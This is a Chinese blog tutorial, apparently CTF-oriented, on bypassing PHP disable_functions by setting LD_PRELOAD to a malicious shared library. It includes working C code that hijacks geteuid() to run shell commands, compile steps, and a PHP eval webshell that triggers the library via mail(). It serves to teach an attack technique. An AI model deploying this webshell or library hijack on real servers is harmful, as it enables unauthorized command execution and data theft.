LD_PRELOAD绕过disabled_functions限制

2024-04-16 17:32

本文主要是介绍LD_PRELOAD绕过disabled_functions限制,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

LD_PRELOAD绕过disabled_functions限制

思路分析

根据资料可得知有四种绕过 disable_functions 的手法:

  1. 攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞等等
  2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()exec()shell_exec()passthru(),偏僻的 popen()proc_open()pcntl_exec(),逐一尝试,或许有漏网之鱼
  3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
  4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

这里我们只详细学习第四种方法。大致步骤如下

  • 生成一个我们的恶意动态链接库文件
  • 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
  • 配合php的某个函数去触发我们的恶意动态链接库文件
  • RCE并获取flag

这里面的某个函数需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.

动态链接库

hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {system("cat /flag >> /var/www/html/test.php");system("tac /flag >> /var/www/html/test.php");system("/readflag >> /var/www/html/test.php");
}   
int  geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();
}

利用gcc编译

gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

配合php执行动态链接

shell.php

<?php@eval($_REQUEST['ant']);putenv("LD_PRELOAD=/tmp/hack.so");error_log("admin",1);mail("admin@localhost","","","","");
?>

在执行文件目录建立一个test.php

浏览器访问shell.php,再访问test.php,即可发现flag

这篇关于LD_PRELOAD绕过disabled_functions限制的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/909440

相关文章

UnityException: Gizmo drawing functions can only be used in OnDrawGizmos and OnDrawGizmosSelected.

You don't have to call OnDrawGizmos() From anywhere, it is a editor function to display gizmos in the scene-view and is called automatically called!! 不能在任何地方调用 OnDrawGizmos(),这个函数是自动调用的。这个函数是编辑器函数,用来

APK签名校验绕过

将APK重命名为zip文件,然后可以看到有个META-INF的文件夹,里面有三个文件,分别名为MANIFEST.MF、CERT.SF和CERT.RSA,这些就是使用signapk.jar生成的签名文件。 1、 MANIFEST.MF文件: 程序遍历update.apk包中的所有文件(entry),对非文件夹非签名文件的文件,逐个生成SHA1的数字签名信息,再用Base64进行编码。具体代

getSelection限制选取范围

// 选择容器元素const box = document.queryselector('.box');// 监听选择事件document.addEventListener('mouseup', (e) => {// 如果选择不在box内部,清除选择if (!box.contains(e.target)) {window.getSelection().removeAllRanges();}}

【办公技巧】如何编辑带有限制编辑密码的PDF文件?

PDF文件打开之后发现设置了限制编辑,功能栏中的编辑按钮都是灰色的,导致PDF文件里的内容无法编辑。那么带有限制编辑的PDF文件,如何编辑?今天分享两个方法。 方法一: 我们可以将PDF文件转换成其他格式,有些PDF转换器,即使PDF文件设置了限制编辑,也可以正常的转换文件格式。所以我们将PDF文件转换成word文档或者txt等格式文件。然后我们将文件内容复制,在新的PDF文件中,将内容粘贴再

与码无关:分数限制下,选好专业还是选好学校?

本文的目标读者:24届的高考生和家长。 写这篇非技术性文章,是因为我看到了24届考生和21年的我同样迷茫。 事先声明,本文带有强烈的个人思考色彩,可能会引起不适,如有不同观点,欢迎在评论区讨论。 一、前言 很快,24届高考生就要面对志愿填报的难题。俗话说得好,“3分考,7分报”,报志愿在个人发展中是一个很重要的命题。 我认为,报志愿要考虑的方向,主要有: 学校层级【985、211、本科、专科

phar反序列化及绕过

目录 一、什么是phar phar://伪协议格式: 二、phar结构 1.stub phar:文件标识。 格式为 xxx; *2、manifest:压缩文件属性等信息,以序列化存 3、contents:压缩文件的内容。 4、signature:签名,放在文件末尾。 生成模板: 三、绕过方式 1.更改文件格式 2.绕过phar关键词检测 3.绕过 __HALT_COMPI

限制物料仅适用于某些子库存

限制物料仅适用于某些子库存 今天在读UG时,发现一句话: 意思是如何物料被限制到某些子库存时,子库存转移在转移物料时,只能选择这些子库存。如何实现呢?通过查找资料找到实现方式如下: 1、在组织层,物料设置限制子库存: 2、设置子库存->物料/子库存,录入该物料。 3、此时此物料只可以在001子库存中处理。例如,账户别名接收。 官方提供了相应说明: 你可以分配物料到

使用OneWorld创建分公司出错,提示Subsidiary数量超出限制

在公司OneWorld账号中创建了一个美国公司,但是报错了。 一般来说一个OneWorld账号中可以创建125个subsidiary(包含Parent Company),这里还没有超出限制呢。 后来了解到一个OneWorld只能创建一个国家的Subsidiary。如果要创建其它国家或地区的Subsidiary,需要购买相应国家的OneWorld版本。 可以从系统中的Bill Informatio

路由器的Wi-Fi性能是否限制了你的网速?这里有你想要的答案

​你的无线网络速度阻碍了你吗?信不信由你,升级到超快的互联网计划可能不值得。以下是如何判断路由器的Wi-Fi速度是否阻碍了你,以及你能做些什么。 如何测试你的Wi-Fi速度 比较你的有线速度和无线速度可以表明你的路由器是否阻碍了你。虽然很多人认为“Wi-Fi”和“互联网”是一回事,但有明显的区别。 你的网速取决于你与更广泛网络的连接,通常是通过连接到你家的电线通过传统的电信基础设施。你也可以

用栈来求解限制后的汉诺塔问题

用栈来求解限制后的汉诺塔问题(限制不能从最左侧的塔直接移动到最右侧,也不能从最右侧直接移动到最左侧,而是必须经过中间,求当塔有N层的时候,打印最优移动过程和最优移动总步数) import java.util.Stack;//用栈来求解限制后的汉诺塔问题(限制不能从最左侧的塔直接移动到最右侧,也不能从最右侧直接移动到最左侧,而是必须经过中间,求当塔有N层的时候,打印最优移动过程和最优移动总步数